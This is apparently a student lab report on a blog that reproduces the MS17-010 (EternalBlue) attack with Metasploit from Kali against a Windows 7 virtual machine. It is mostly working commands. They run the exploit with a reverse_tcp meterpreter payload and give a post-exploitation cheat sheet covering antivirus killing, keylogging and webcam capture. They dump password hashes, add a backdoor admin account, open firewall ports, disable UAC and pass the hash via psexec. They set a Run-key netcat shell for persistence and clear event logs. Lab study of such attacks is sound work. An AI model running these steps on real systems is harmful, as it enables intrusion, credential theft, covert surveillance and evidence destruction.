赞
踩
(1) 攻击机:Linux kali(IP:192.168.99.110)
(2) 靶机:Windows 7 Enterprise with Service Pack 1 (x64)(IP:192.168.99.119)
去kali的官网选择 【Download】
由于我们本次实验是在我们个人的主机上进行安装,所以我们选择安装在虚拟机上。
在虚拟机上进行安装我们需要的操作系统的方式有很多种,可以选择使用ISO镜像文件来自定义安装;也可以选择安装预安装好的系统,这里本着创造一个更好复现的报告的初衷我们选择下载预安装的安装包来解压的形式,选择该方法的原因是kali官网提供了这种方式,也就说明对于其它打算复现该项目的同学,按照我们的方案,他的可复现性就会更稳定。
由于我们所使用的虚拟桌面软件是VMware Workstation所以我们选择下图中红框所框出的版本
【小白需知】
当你下载完成之后,你会得到一个压缩包形式的文件,如果你以前没有接触过压缩包文件不知道如何解压缩的话,那这里我们推荐一款功能强大方便好用的压缩与解压缩工具Breezip
下载完毕之后,使用计算机上的解压工具将下载的安装包解压
打开VMware Workstation,选择打开虚拟机,然后从我们刚才下载好的kali的压缩包,并且解压好的路径中找到后缀为vmx的文件,选择打开,我们就可以得到一个kali虚拟机
打开后我们就可以看到这样的一个界面,在这个界面中我们可以看到这个设备的基本配置,同时也可以在官方已经给定的描述中看到当前的这台虚拟设备它的用户名和密码。
点击开启此虚拟机,等待它进入到系统的登录界面,我们输入用户名kali和密码kali就可以进入当前系统**(自2020.1版本之后kali提供的虚拟机就是非root用户的策略,所以这里我们使用的是它提供的标准用户kali而不是root,登入进去后再修改即可)**
使用su
切换用户为root
用户,再使用passwd
命令修改root用户的登录密码。
(1) 攻击机:Linux kali(IP:192.168.99.110)
(2) 靶机:Windows 7 Enterprise with Service Pack 1 (x64)(IP:192.168.99.119)
ifconfig
命令查看kali当前的网络配置情况【补充设置】
由于kali在2020.1版本之后就不再提供root,而是提供标准用户kali但是我们实际在做很多操作的时候,都需要root级别的权限才能方便我们对系统进行配置,所以这里进行了用户切换和root用户的密码的更改:
使用sudo su命令进行强制的用户切换,输入kali用户的密码后,使用passwd root命令进行root用户的密码修改,目前修改如下:Username:root/ Password root
后续将都使用root用户进行登录
vim /etc/network/interfaces
auto eth0
iface eth0 inet static
address 192.168.99.110
netmask 255.255.255.0
gateway 192.168.99.2
reboot
命令重新启动kaliipconfig
来测试网络配置是否更新成功netstat -ano | findstr 445
查找Win7主机是否开启了445端口其中各个参数表示的含义如下
- -a:显示所有连接和侦听端口。
- -n:以数字形式显示地址和端口号,而不进行反向域名解析。
- -o:显示拥有者 PID。
| 为管道符号,相当于一个过滤器,把左边的命令的结果作为右边的命令的输入
findstr 查找字符串子串,这里是用来过滤带有445字样的数据,从而实现对445端口的精准查找
nmap -T4 -A -v 192.168.99.119 | grep "445"
【解释】
这条命令的含义如下:
- nmap -T4 -A -v 192.168.203.119:
这部分命令使用 nmap 工具对 IP 地址为 192.168.203.119 的主机进行扫描。具体参数含义如下:
-T4:指定扫描速度为快速(T4),这意味着扫描将以较高的速度进行。
- -A:启用操作系统检测、版本检测、脚本扫描和跟踪路由等功能。
- -v:启用详细的输出模式,显示更多的扫描信息。
- |:这是管道符,它将 nmap 命令的输出传递给下一个命令,即 grep。
- grep “445”:这部分命令使用 grep 工来过滤 nmap 命令的输出,只显示包含字符串 “445” 的行。在这种情况下,它将显示与端口 445 相关的信息,例如是否开放或关闭等。
因此,整个命令的含义是对指定 IP 地址的主机进行快速扫描,并显示与端口 445 相关的信息。
msfconsole
命令启动我们渗透操作的利器MSF框架search ms17-010
来搜索ms17-010漏洞。【解释】
这些工具是 Metasploit 框架中的模块,用于利用 Windows SMB 协议中的 MS17-010 漏洞。以下是每个工具的解释:
0. exploit/windows/smb/ms17_010_eternalblue(永恒之蓝)
- 发布日期:2017-03-14
- 可靠性:average(平均)
- 是否需要用户交互:Yes(需要)
- 描述:这是一个利用模块,用于执行 MS17-010 漏洞(EternalBlue)的攻击,该漏洞是一个远程Windows内核池损坏漏洞。它可以用来在目标系统上执行任意代码。
1. exploit/windows/smb/ms17_010_psexec
- 发布日期:2017-03-14
- 可靠性:normal(正常)
- 是否需要用户交互:Yes(需要)
- 描述:这个模块利用 MS17-010 漏洞的变种 EternalRomance、EternalSynergy 和 EternalChampion,用于在远程Windows系统上执行代码。它模仿了 Windows 的 psexec 工具的行为。
2. auxiliary/admin/smb/ms17_010_command
- 发布日期:2017-03-14
- 可靠性:normal(正常)
- 是否需要用户交互:No(不需要)
- 描述:这是一个辅助模块,用于通过 MS17-010 漏洞(EternalRomance、EternalSynergy 和 EternalChampion)在远程Windows系统上执行命令。
3. auxiliary/scanner/smb/smb_ms17_010
- 可靠性:normal(正常)
- 是否需要用户交互:No(不需要)
- 描述:这是一个扫描器模块,用于检测目标系统是否易受 MS17-010 漏洞的影响,即 SMB RCE(远程代码执行)漏洞。
4. exploit/windows/smb/smb_doublepulsar_rce
- 发布日期:2017-04-14
- 可靠性:great(高)
- 是否需要用户交互:Yes(需要)
- 描述:这个模块利用 DOUBLEPULSAR 后门,该后门是通过 EternalBlue 漏洞传播的。如果系统已经被 EternalBlue 漏洞感染并植入了 DOUBLEPULSAR 后门,这个模块可以用来在受影响的系统上执行远程代码。
- 这些工具的可靠性等级(如 average、normal、great)指的是利用成功的可预测性和稳定性。用户交互(Yes 或 No)指的是是否需要用户在攻击过程中进行交互。这些工具都是针对同一漏洞的不同利用方式或检测手段。
我们本次渗透复现中主要使用到0号和3号工具。
3 auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在ms17-010漏洞。
0 exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般两者配合使用,前者先扫描,若是显示有漏洞,再进行攻击。
use auxiliary/scanner/smb/smb_ms17_010
show options
命令查看所需准备的条件。set rhosts 192.168.99.119
命令设置RHOSTSshow options
use exploit/windows/smb/ms17_010_eternalblue
reverse_tcp
这个攻击载荷,其实这个载荷也是我们后面实际使用的攻击载荷。
- 【解释】
- reverse_tcp 是一种常见的网络通信术语,特别是在网络安全和渗透测试领域。它指的是一种反向TCP连接,通常用于建立从目标系统到攻击者控制系统的连接。
- 在正常的TCP连接中,客户端发起连接到服务器。而在 reverse_tcp 连接中,服务器(在这种情况下通常是攻击者的监听服务器)等待目标系统(受害者机器)发起连接。这种技术常用于绕过防火墙或NAT设备,因为目标系统主动发起连接到外部监听服务器,而不是外部服务器尝试直接连接到可能受到更严格监控的内部网络。
- 在渗透测试工具**(如 Metasploit)中,reverse_tcp 通常作为有效载荷(payload)的一部分,用于在成功利用漏洞后建立反向shell**。这允许攻击者远程控制系统,执行命令,或者进一步探索网络。
- 我们可以使用
info
查看漏洞的信息,这些信息很长,他们详细介绍了0号工具这个对MS17-010漏洞进行利用的攻击模块的各种重要信息。- 其中第一页的信息包含了这个工具的基本介绍、可以攻击的目标系统等信息,当然可攻击的目标的信息可以使用
show targets
命令来查看。
show options
命令来获得。show targets
命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统。show payloads
命令可以查看当下漏洞利用模块下可用的所有Payloadset payload windows/x64/meterpreter/reverse_tcp
show options
查看参数信息set rhosts 192.168.99.119
set LHOST 192.168.99.110
exploit
命令执行攻击exploit
命令之后,我们开启了一个reverse TCP
监听器来监听本地的 4444
端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
clearev #清除日志
getsystem
实现提权操作pwd
命令查看我们现在所在的路径是在哪里,交互给出的信息是我们在C:\Windows\system32目录下这更进一步说明我们确实提权成功。sysinfo
查看系统信息ipconfig
命令查看网络配置192.168.99.119
,再次说明我们确实提权成功,我们正在使用的正是靶机的shell。getuid
查看我们当前所获得的权限
- 【解释】
- 这个 “Server username: NT AUTHORITY\SYSTEM” 说明了当前正在运行的服务或进程是以系统权限(System)运行的。
- NT AUTHORITY\SYSTEM 是 Windows 系统中的一个内置账户,拥有系统级别的权限,通常用于运行操作系统服务和进程。
- 以 NT AUTHORITY\SYSTEM 身份运行的服务或进程拥有对系统资源的完全访问权限,包括文件、注册表、网络等。这种权限通常被认为是最高级别的权限,因此需要谨慎对待以此身份运行的服务或进程,以防止被恶意利用。
shell
获得shell控制台exit
从shell控制台退出到meterpreterrun windows/gather/smart_hashdump
或者 hashdump
尝试hashdump
命令获取用户密码
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
luoqianshi:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
使用在线的转码平台解析获取到哈希值成为可以理解的密码,解析的结果为空密码和我在安装Win7系统的时候的设定是一致的。
- 【解释】
- 这些看起来像是从 Windows 系统的 SAM (Security Accounts Manager) 数据库中提取的用户账户信息。SAM 数据库存储了本地用户账户的密码哈希值。这些信息通常用于安全分析或密码恢复。
每一行代表一个用户账户的信息,格式通常如下:
用户名:用户ID:LM哈希:NTLM哈希:::
1. Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- 用户名:Administrator
- 用户ID:500(Windows系统中的默认管理员账户ID)
- LM哈希:aad3b435b51404eeaad3b435b51404ee(一个已知的空密码的LM哈希值)
- NTLM哈希:31d6cfe0d16ae931b73c59d7e0c089c0(一个已知的空密码的NTLM哈希值)
2. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- 用户名:Guest
- 用户ID:501(Windows系统中的默认访客账户ID)
- LM哈希:aad3b435b51404eeaad3b435b51404ee(同上)
- NTLM哈希:31d6cfe0d16ae931b73c59d7e0c089c0(同上)
3. luoqianshi:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- 用户名:luoqianshi
- 用户ID:1000(通常是第一个创建的非系统账户的ID)
- LM哈希:aad3b435b51404eeaad3b435b51404ee(同上)
- NTLM哈希:31d6cfe0d16ae931b73c59d7e0c089c0(同上)
- 在这些例子中,LM和NTLM哈希值都表示没有设置密码。LM哈希是较旧的密码哈希算法,而NTLM哈希是较新的算法,两者都用于Windows身份验证。这些哈希值通常用于密码破解尝试,以恢复或破解用户的密码。
- LM哈希(LAN Manager hash)是一种在早期Windows网络中用于存储用户密码的哈希函数。由于其设计上的缺陷,它被认为是不安全的,已经在现代Windows系统中被淘汰。
LM哈希的主要缺点包括:
- 不区分大小写:在进行哈希之前,所有密码都转换为大写,这减少了密码的复杂性。
- 固定长度:LM哈希将密码截断或填充至14个字符,进一步降低了密码的复杂性。
- 分割处理:14个字符的密码被分成两个7字符的块,每块单独哈希,这使得对每个块的破解更加容易。
- 弱加密算法:使用的DES算法容易受到暴力破解攻击。
因为这些缺陷,LM哈希很容易被破解,现代Windows系统默认不再使用LM哈希,而是使用更安全的NTLM哈希。
- NTLM(NT LAN Manager)是一种在 Windows 网络环境中使用的身份验证协议。它最初是为了在局域网环境中提供身份验证和会话安全而设计的。NTLM 协议通过挑战-响应机制来验证用户的身份,并在用户和服务器之间建立安全的会话。
- NTLM 协议的工作流程包括三个主要步骤:
- 客户端向服务器发送身份验证请求。
- 服务器生成一个随机数(挑战)发送给客户端。
- 客户端使用用户的凭据和挑战生成一个响应,并发送给服务器进行验证。
- 尽管 NTLM 协议在过去被广泛使用,但它已经被更安全的协议如 Kerberos 和 NTLMv2 所取代。NTLM 协议存在一些安全性方面的缺陷,包括容易受到中间人攻击和密码哈希被盗取的风险。
- 总的来说,尽管 NTLM 协议在某些环境中仍在使用,但出于安全考虑,推荐使用更现代和安全的身份验证协议。
shell
hack
的用户,密码为hello_world
net user hack hello_world /add
hack
用户加入到windows 7的本地管理员组中,实现权限提升net localgroup administrators hack /add
net user
net localgroup administrators
run getgui -e (已废弃)
run post/windows/manage/enable_rdp
在kali终端输入以下命令实现开始远程桌面:(以下是没有注意到应该在kali终端下执行远程桌面的错误尝试)
rdesktop 192.168.99.119 #靶机ip地址
说明我的kali可能 没有安装rdesktop这个工具 (不是这个问题)
尝试先退出渗透工作,先安装工具
sudo apt update
sudo apt install rdesktop
但是这里又显示我的kali已经完成了对rdesktop工具的安装了,说明不是这个问题。
【以下是正解!】
仔细查找资料之后发现,执行远程桌面操作的命令不应该在渗透的shell下执行,而应该在kali的终端下执行才是合理的!
回到kali终端下进行远程桌面连接(成功)
使用我们创建的hack
用户登录
远程桌面登录成功接管靶机桌面
echo X=Msgbox("lkh has got the shell",64,FormatDateTime(Now, vbLongDate)) >> /Test.vbs && start C:\Test.vbs
【命令解释】
echo X=Msgbox("lkh has got the shell",64,FormatDateTime(Now, vbLongDate)) >> /Test.vbs && start C:\Test.vbs
这个命令是一个Windows命令提示符(cmd)命令,它执行了两个操作:
1.echo X=Msgbox(“lkh has got the shell”,64,FormatDateTime(Now, vbLongDate)) >> /Test.vbs: 这部分命令使用 echo 命令将一行文本写入一个名为 Test.vbs 的文件。这行文本是一个VBScript代码,它会在弹出一个消息框,显示 “lkh has got the shell” 文本,并且消息框的样式是信息图标,标题是当前的日期。
- X=Msgbox(“lkh has got the shell”,64,FormatDateTime(Now, vbLongDate)):这是 VBScript 代码,它定义了一个变量 X,并将其设置为 Msgbox 函数的返回值。
- Msgbox 是一个函数,用于在用户界面显示一个消息框。
- “lkh has got the shell” 是消息框中显示的文本。
- 64 是一个参数,定义了消息框的样式和图标。在这种情况下,64 表示消息框将显示一个信息图标。
- FormatDateTime(Now, vbLongDate) 是一个函数调用,它获取当前的日期和时间(Now),并将其格式化为长日期格式(vbLongDate)。这将作为消息框的标题。
2. && start C:\Test.vbs: 这部分命令使用 && 运算符,它表示在前一个命令成功执行后才执行下一个命令。在这里,如果第一个命令成功地将VBScript代码写入 Test.vbs 文件,那么接下来的命令 start C:\Test.vbs 将会启动 Test.vbs 脚本,从而弹出消息框。
总的来说,这个命令的目的是创建一个VBScript文件,然后立即运行这个文件,以弹出一个消息框显示特定的文本和当前的日期。
echo var shell = new ActiveXObject("WScript.Shell"); shell.Popup("Hello, World!", 0, "Title", 0); > info.js && cscript info.js
【代码解释】
echo var shell = new ActiveXObject("WScript.Shell"); shell.Popup("Hello, World!", 0, "Title", 0); > info.js && cscript info.js
这段命令是一个Windows命令提示符(cmd)命令,它执行了两个操作:
1.echo var shell = new ActiveXObject(“WScript.Shell”); shell.Popup(“Hello, World!”, 0, “Title”, 0); > info.js: 这部分命令使用 echo 命令将一行文本写入一个名为 info.js 的文件。这行文本是一个JavaScript代码,它会在弹出一个消息框,显示 “Hello, World!” 文本,标题为 “Title”。
- var shell = new ActiveXObject(“WScript.Shell”);:这是创建一个名为 shell 的变量,并使用 ActiveXObject 对象来实例化 WScript.Shell。WScript.Shell 对象允许你执行系统命令、读写注册表、创建快捷方式等操作。
- shell.Popup(“Hello, World!”, 0, “Title”, 0);:这是调用 WScript.Shell 对象的 Popup 方法,它会在屏幕上弹出一个消息框。具体来说,它会显示 “Hello, World!” 文本,标题为 “Title”,样式为普通信息框
2. && cscript info.js: 这部分命令使用 && 运算符,它表示在前一个命令成功执行后才执行下一个命令。在这里,如果第一个命令成功地将JavaScript代码写入 info.js 文件,那么接下来的命令 cscript info.js 将会运行 info.js 脚本,从而弹出消息框。
总的来说,这个命令的目的是创建一个JavaScript文件,然后立即运行这个文件,以弹出一个消息框显示特定的文本和标题。
echo X=Msgbox("lkh has got the shell",64,FormatDateTime(Now, vbLongDate)) >> /Test.vbs && start C:\Test.vbs
echo var shell = new ActiveXObject("WScript.Shell"); shell.Popup("Hello, World!", 0, "Title", 0); > info.js && cscript info.js
题目的原意是让我们上传并且运行一个游戏脚本,但是我转念一想,游戏脚本的含义得建立在针对游戏的基础上才有意义,而显然,崭新的靶机并没有什么太有价值的游戏值得使用脚本,所以我对这个实验要求进行了进一步的抽象,所谓【运行游戏脚本】,那本质其实就是首先攻击机要有一个脚本,然后攻击机可以把准备好的脚本上传到靶机上去,并且最终实现成功在靶机上运行这个脚本的目的。
可转念一想,如果只是在靶机上运行脚本的话,其实我们的上一步使得靶机可以弹出消息框的操作中,使用的正是vbs脚本和js脚本了,某种意义上也算是成功地在靶机上完成了脚本文件的注入和运行了,那实验不就到此结束了吗?不,我不想结束。
仔细回顾了我们本次实验的目的和一路走来在web安全的那些基础的实验中所进行的渗透或者注入操作,其中都有上传木马,建立后门使得我们能够使用进一步掌握靶机权限的步骤,所以最后我决定,那我们就致敬经典,尝试把Windows靶机的木马文件上传上去试试,给自己留一条更稳定的后门。
在kali的 /usr/share/windows-binaries/ 路径下有我们的后门程序 nc俗称瑞士军刀 ,我们可以将它上传到目标机c盘上面。
使用upload /usr/share/windows-binaries/nc.exe C:\\Windows
命令上传nc瑞士军刀。
不过要能够正常且安全地使用我们的后门软件,我们还需要做一些隐蔽的操作,我们得先关闭主机的防护策略再开启后门。
关闭主机的防护策略
使用hashdump
命令查看用户和密码
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hack:1001:aad3b435b51404eeaad3b435b51404ee:f4028299935700e0be0eba20d233404d:::
luoqianshi:1000:aad3b435b51404eeaad3b435b51404ee:b3974a327a72f739e4b96e70277e23b8:::
创建一条防火墙规则允许4444端口访问网络,方便后期操作
shell
netsh firewall add portopening TCP 4444 "hack" ENABLE ALL
- 【解释】
这个命令是用于在 Windows 防火墙中添加一个 TCP 端口的规则。以下是每个部分的解释:
- netsh firewall add portopening:这部分表示使用 netsh 命令来操作防火墙,add portopening 表示要添加一个端口开放规则。
- TCP:这是要开放的端口的协议类型,这里是 TCP 协议。
- 4444:这是要开放的端口号,这个命令将会开放 TCP 端口 4444。
- “hack”:这是规则的名称,可以用任何描述性的名称来标识这个规则。
- ENABLE:这表示要启用这个规则。
- ALL:这表示这个规则适用于所有网络连接类型(例如域、专用和公用网络)。
总的来说,这个命令的目的是在 Windows 防火墙中添加一个允许 TCP 端口 4444 的规则,允许所有类型的网络连接。请注意,使用此命令需要管理员权限。
netsh firewall add portopening TCP 443 "hack" ENABLE ALL
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
【命令解释】
这个命令是在 Windows 命令提示符(cmd)中执行的,它修改了 Windows 注册表中的一个键值。以下是每个部分的详细解释:
- cmd.exe /k:这部分表示启动一个新的命令提示符窗口,并在执行完命令后保持窗口打开。
- %windir%\System32\reg.exe:这部分是 reg.exe 命令的完整路径,reg.exe 是一个用于操作注册表的命令行工具。
- ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System:这部分表示要添加或修改的注册表键的路径。
- /v EnableLUA:这部分表示要添加或修改的值的名称,这里是 EnableLUA。
- /t REG_DWORD:这部分表示值的类型,这里是 REG_DWORD,表示一个32位的数字。
- /d 0:这部分表示值的数据,这里是 0。
- /f:这部分表示强制执行命令,不提示用户确认。
总的来说,这个命令的目的是关闭 User Account Control(UAC)。EnableLUA 键控制 UAC 的开启和关闭,设置为 0 表示关闭 UAC。请注意,关闭 UAC 可能会降低系统的安全性,因为它移除了对管理员级别操作的提示。
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
这里的代码和上一个关闭UAC的操作中不一样的主要是 /v 所指定的值是文件协议,而 /d所指定的值是1表示开启而不是上面的0表示的关闭。
过渡
exit
返回meterpreter,输入background
将永恒之蓝拿到的会话保持到后台。
切换使用扫描工具:use exploit/windows/smb/psexec
查看需要配置的参数:show options
设置靶机ip:set rhosts 192.168.99.119
设置靶机账户名:set smbuser hack
设置靶机密码:
set smbpass aad3b435b51404eeaad3b435b51404ee:f4028299935700e0be0eba20d233404d
(hack账户密码hash值)
设置靶机工作组:set smbdomain WORKGROUP
运行:run
设置靶机注册表的键值,使得当目标机开机,nc程序可以自动在后台运行,且监听端口为443,这个端口就是之前在shell中创建的新防火墙规则:允许443端口访问网络
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 443 -e cmd.exe'
【代码解释】
这个命令是在 Windows 注册表中设置一个键值。以下是每个部分的详细解释:
- reg setval:这部分表示使用 reg 命令的 setval 操作来设置一个注册表值。
- -k HKLM\software\microsoft\windows\currentversion\run:这部分表示要设置的注册表键的路径。这个路径指向的是 Windows 启动时运行的程序列表。
- -v lltest_nc:这部分表示要设置的值的名称,这里是 lltest_nc。
- -d ‘C:\windows\nc.exe -Ldp 443 -e cmd.exe’:这部分表示值的数据,这里是一个命令行字符串,它会在 Windows 启动时执行。
- 总的来说,这个命令的目的是在 Windows 启动时运行 nc.exe 程序。
- nc.exe 是 Netcat 的可执行文件,一个网络工具,可以用于创建 TCP 或 UDP 连接。这个命令让 nc.exe 在 443 端口监听连接,并在接收到连接时启动一个命令提示符(cmd.exe)会话。这可能是为了创建一个反向 shell,允许远程用户在启动时获得对系统的访问权限。
reboot
nc -v 192.168.99.119 443
chcp 65001
命令更改页面编码为65001编码即可screenshare
命令监控靶机的桌面行为clearev
来清除自己渗透的痕迹。[1] Kali——关于Kali的下载与安装[OL]
[2] 网络安全入门第一课—永恒之蓝(ms17-010)[OL]
[3] 永恒之蓝漏洞复现(ms17-010)[OL]
[4] 桥接模式和NAT模式的区别[OL]
[5] VMware Workstation下载及安装
[6] Kali自2020.1版本之后不再提供root用户的策略
[7] 下载Windows 7 Enterprise with Service Pack 1 (x64) - DVD (Chinese-Simplified)(需用迅雷下载)
[8] MD5在线加解密网站
[9] kali上使用msf渗透win7(永恒之蓝操作复现)初学者指南
[10] Kali利用msf渗透Windows电脑(超详细)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。